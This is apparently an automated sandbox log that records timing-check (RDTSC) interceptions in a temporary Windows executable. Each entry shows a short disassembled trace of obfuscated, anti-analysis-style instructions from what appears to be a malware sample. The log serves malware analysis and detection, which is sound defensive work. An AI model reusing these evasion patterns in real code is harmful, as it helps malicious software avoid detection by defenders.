Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B013C second address: 52B0151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0151 second address: 52B0157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0157 second address: 52B015B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B015B second address: 52B0206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e mov edx, esi 0x00000010 mov cx, 5E8Dh 0x00000014 popad 0x00000015 push esi 0x00000016 pushfd 0x00000017 jmp 00007FEE851EFD99h 0x0000001c sbb cx, A816h 0x00000021 jmp 00007FEE851EFD91h 0x00000026 popfd 0x00000027 pop esi 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007FEE851EFD8Eh 0x0000002f xchg eax, ebx 0x00000030 pushad 0x00000031 mov ebx, esi 0x00000033 pushad 0x00000034 call 00007FEE851EFD8Fh 0x00000039 pop esi 0x0000003a popad 0x0000003b popad 0x0000003c mov ebx, dword ptr [ebp+10h] 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007FEE851EFD90h 0x00000048 xor eax, 3BB665C8h 0x0000004e jmp 00007FEE851EFD8Bh 0x00000053 popfd 0x00000054 mov si, 6F3Fh 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0206 second address: 52B020C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B020C second address: 52B02C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d call 00007FEE851EFD94h 0x00000012 movzx ecx, dx 0x00000015 pop edx 0x00000016 movzx ecx, dx 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c call 00007FEE851EFD94h 0x00000021 movzx eax, di 0x00000024 pop ebx 0x00000025 mov cx, 0B83h 0x00000029 popad 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FEE851EFD94h 0x00000032 sub cx, 8F48h 0x00000037 jmp 00007FEE851EFD8Bh 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007FEE851EFD98h 0x00000043 add si, 51A8h 0x00000048 jmp 00007FEE851EFD8Bh 0x0000004d popfd 0x0000004e popad 0x0000004f mov esi, dword ptr [ebp+08h] 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B02C2 second address: 52B02C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B02C6 second address: 52B02CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B02CA second address: 52B02D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B02D0 second address: 52B02E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B02E5 second address: 52B02E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B02E9 second address: 52B0306 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0306 second address: 52B030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B030C second address: 52B0310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0310 second address: 52B0336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, edi 0x0000000e jmp 00007FEE84E88FD7h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0336 second address: 52B03CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEE851EFD8Fh 0x00000009 jmp 00007FEE851EFD93h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007FEE851EFD98h 0x00000015 adc si, 6D88h 0x0000001a jmp 00007FEE851EFD8Bh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 xchg eax, edi 0x00000024 pushad 0x00000025 mov eax, 68103F1Bh 0x0000002a jmp 00007FEE851EFD90h 0x0000002f popad 0x00000030 test esi, esi 0x00000032 jmp 00007FEE851EFD90h 0x00000037 je 00007FEEF6E5DFE7h 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 call 00007FEE851EFD8Ch 0x00000045 pop esi 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B03CA second address: 52B03ED instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, 2664AC92h 0x0000000c popad 0x0000000d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FEE84E88FCBh 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B03ED second address: 52B03F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B03F1 second address: 52B03F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B03F7 second address: 52B03FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B03FD second address: 52B0401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0401 second address: 52B0405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0405 second address: 52B047A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FEEF6AF71E4h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FEE84E88FD8h 0x00000015 or ecx, 3D811708h 0x0000001b jmp 00007FEE84E88FCBh 0x00000020 popfd 0x00000021 call 00007FEE84E88FD8h 0x00000026 movzx eax, bx 0x00000029 pop edi 0x0000002a popad 0x0000002b mov edx, dword ptr [esi+44h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FEE84E88FD9h 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B047A second address: 52B04F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEE851EFD93h 0x00000009 and ecx, 2817B20Eh 0x0000000f jmp 00007FEE851EFD99h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 or edx, dword ptr [ebp+0Ch] 0x0000001b jmp 00007FEE851EFD8Eh 0x00000020 test edx, 61000000h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov ch, bh 0x0000002b pushfd 0x0000002c jmp 00007FEE851EFD96h 0x00000031 add al, FFFFFFE8h 0x00000034 jmp 00007FEE851EFD8Bh 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B04F7 second address: 52B054F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FEEF6AF713Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edx 0x00000013 pop ecx 0x00000014 pushfd 0x00000015 jmp 00007FEE84E88FCFh 0x0000001a adc si, 478Eh 0x0000001f jmp 00007FEE84E88FD9h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A089F second address: 52A093A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FEE851EFD8Eh 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FEE851EFD90h 0x00000012 mov ebp, esp 0x00000014 jmp 00007FEE851EFD90h 0x00000019 and esp, FFFFFFF8h 0x0000001c jmp 00007FEE851EFD90h 0x00000021 xchg eax, ebx 0x00000022 jmp 00007FEE851EFD90h 0x00000027 push eax 0x00000028 pushad 0x00000029 call 00007FEE851EFD91h 0x0000002e mov ch, 17h 0x00000030 pop ebx 0x00000031 mov bh, ch 0x00000033 popad 0x00000034 xchg eax, ebx 0x00000035 jmp 00007FEE851EFD95h 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FEE851EFD8Dh 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A093A second address: 52A0940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0940 second address: 52A094F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A094F second address: 52A0953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0953 second address: 52A096E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A096E second address: 52A0A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b pushad 0x0000000c push ebx 0x0000000d pushfd 0x0000000e jmp 00007FEE84E88FD6h 0x00000013 and cx, E038h 0x00000018 jmp 00007FEE84E88FCBh 0x0000001d popfd 0x0000001e pop esi 0x0000001f call 00007FEE84E88FD9h 0x00000024 mov cx, 5557h 0x00000028 pop esi 0x00000029 popad 0x0000002a mov esi, dword ptr [ebp+08h] 0x0000002d jmp 00007FEE84E88FD3h 0x00000032 sub ebx, ebx 0x00000034 pushad 0x00000035 movsx ebx, ax 0x00000038 mov bh, cl 0x0000003a popad 0x0000003b test esi, esi 0x0000003d jmp 00007FEE84E88FD9h 0x00000042 je 00007FEEF6AFE957h 0x00000048 jmp 00007FEE84E88FCEh 0x0000004d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0A1E second address: 52A0A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0A22 second address: 52A0A28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0A28 second address: 52A0A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, C391h 0x00000007 pushfd 0x00000008 jmp 00007FEE851EFD8Eh 0x0000000d or cx, 30E8h 0x00000012 jmp 00007FEE851EFD8Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ecx, esi 0x0000001d jmp 00007FEE851EFD96h 0x00000022 je 00007FEEF6E656BFh 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b mov ebx, eax 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0A75 second address: 52A0AA3 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, 0CD183DBh 0x0000000c popad 0x0000000d test byte ptr [76FA6968h], 00000002h 0x00000014 jmp 00007FEE84E88FCEh 0x00000019 jne 00007FEEF6AFE8E5h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0AA3 second address: 52A0AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0AA7 second address: 52A0AC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0AC4 second address: 52A0B84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d mov bx, si 0x00000010 call 00007FEE851EFD98h 0x00000015 mov bx, si 0x00000018 pop esi 0x00000019 popad 0x0000001a push edx 0x0000001b jmp 00007FEE851EFD8Ah 0x00000020 mov dword ptr [esp], ebx 0x00000023 jmp 00007FEE851EFD90h 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a mov di, cx 0x0000002d jmp 00007FEE851EFD8Ah 0x00000032 popad 0x00000033 push eax 0x00000034 jmp 00007FEE851EFD8Bh 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b mov cx, 8B3Bh 0x0000003f pushfd 0x00000040 jmp 00007FEE851EFD90h 0x00000045 jmp 00007FEE851EFD95h 0x0000004a popfd 0x0000004b popad 0x0000004c push dword ptr [ebp+14h] 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FEE851EFD98h 0x00000058 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0B84 second address: 52A0B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0B88 second address: 52A0B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0B8E second address: 52A0B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE84E88FCDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0B9F second address: 52A0BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0BC6 second address: 52A0BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0BCA second address: 52A0BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0BD0 second address: 52A0C38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 pushfd 0x00000007 jmp 00007FEE84E88FCDh 0x0000000c add ecx, 38721216h 0x00000012 jmp 00007FEE84E88FD1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop esi 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FEE84E88FCCh 0x00000023 sub ecx, 7B380638h 0x00000029 jmp 00007FEE84E88FCBh 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FEE84E88FD6h 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0C38 second address: 52A0C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0C3C second address: 52A0C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d mov cx, di 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FECC2 second address: 8FECCC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEE851EFD86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FECCC second address: 8FECD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FEE84E88FC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FF08C second address: 8FF092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C0044 second address: 52C004A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C004A second address: 52C0083 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FEE851EFD8Ah 0x0000000b adc ax, 2048h 0x00000010 jmp 00007FEE851EFD8Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FEE851EFD90h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C0083 second address: 52C0089 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0D3D second address: 52B0D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0D43 second address: 52B0D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0D47 second address: 52B0D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0D4B second address: 52B0D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a jmp 00007FEE84E88FCBh 0x0000000f popad 0x00000010 mov dword ptr [esp], ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0D6A second address: 52B0D85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0D85 second address: 52B0D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0D8B second address: 52B0DB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEE851EFD95h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5320F79 second address: 5320FBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FEE84E88FD6h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEE84E88FD7h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5320FBC second address: 5320FC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5320FC2 second address: 5320FC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53203F9 second address: 53203FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53203FF second address: 5320410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE84E88FCDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5320410 second address: 5320438 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEE851EFD8Dh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5320271 second address: 5320282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ah 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5320282 second address: 5320286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5320286 second address: 532028C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 532028C second address: 53202A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEE851EFD8Ah 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ax, 92F9h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53202A8 second address: 53202CD instructions: 0x00000000 rdtsc 0x00000002 mov al, 65h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, ebx 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEE84E88FD8h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C037E second address: 52C0397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FEE851EFD93h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
